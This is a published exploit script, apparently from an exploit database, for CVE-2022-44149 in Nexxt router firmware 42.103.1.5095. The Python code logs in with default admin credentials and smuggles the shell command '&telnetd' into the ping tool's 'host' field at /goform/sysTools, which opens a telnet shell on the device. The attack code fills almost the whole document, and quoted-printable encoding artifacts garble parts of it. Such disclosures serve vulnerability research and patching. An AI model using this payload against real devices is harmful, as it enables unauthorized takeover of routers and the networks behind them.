Nexxt Router Firmware 42.103.1.5095 – Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Nexxt Router Firmware 42.103.1.5095 - Remote Code Executio= n (RCE) (Authenticated) # Date: 19/10/2022 # Exploit Author: Yerodin Richards # Vendor Homepage: https://www.nexxtsolutions.com/ # Version: 42.103.1.5095 # Tested on: ARN02304U8 # CVE : CVE-2022-44149 import requests import base64 router_host =3D "http://192.168.1.1" username =3D "admin" password =3D "admin" def main(): send_payload("&telnetd") print("connect to router using: `telnet "+router_host.split("//")[1]+ "= ` using known credentials") pass def gen_header(u, p): return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii") def get_cookie(header): url =3D router_host+"/login" params =3D {"arg":header, "_n":1} resp=3Drequests.get(url, params=3Dparams) =20 def send_payload(payload): url =3D router_host+"/goform/sysTools" headers =3D {"Authorization": "Basic {}".format(gen_header(username, pa= ssword))} params =3D {"tool":"0", "pingCount":"4", "host": payload, "sumbit": "OK= "} requests.post(url, headers=3Dheaders, data=3Dparams) if __name__ =3D=3D '__main__': main() |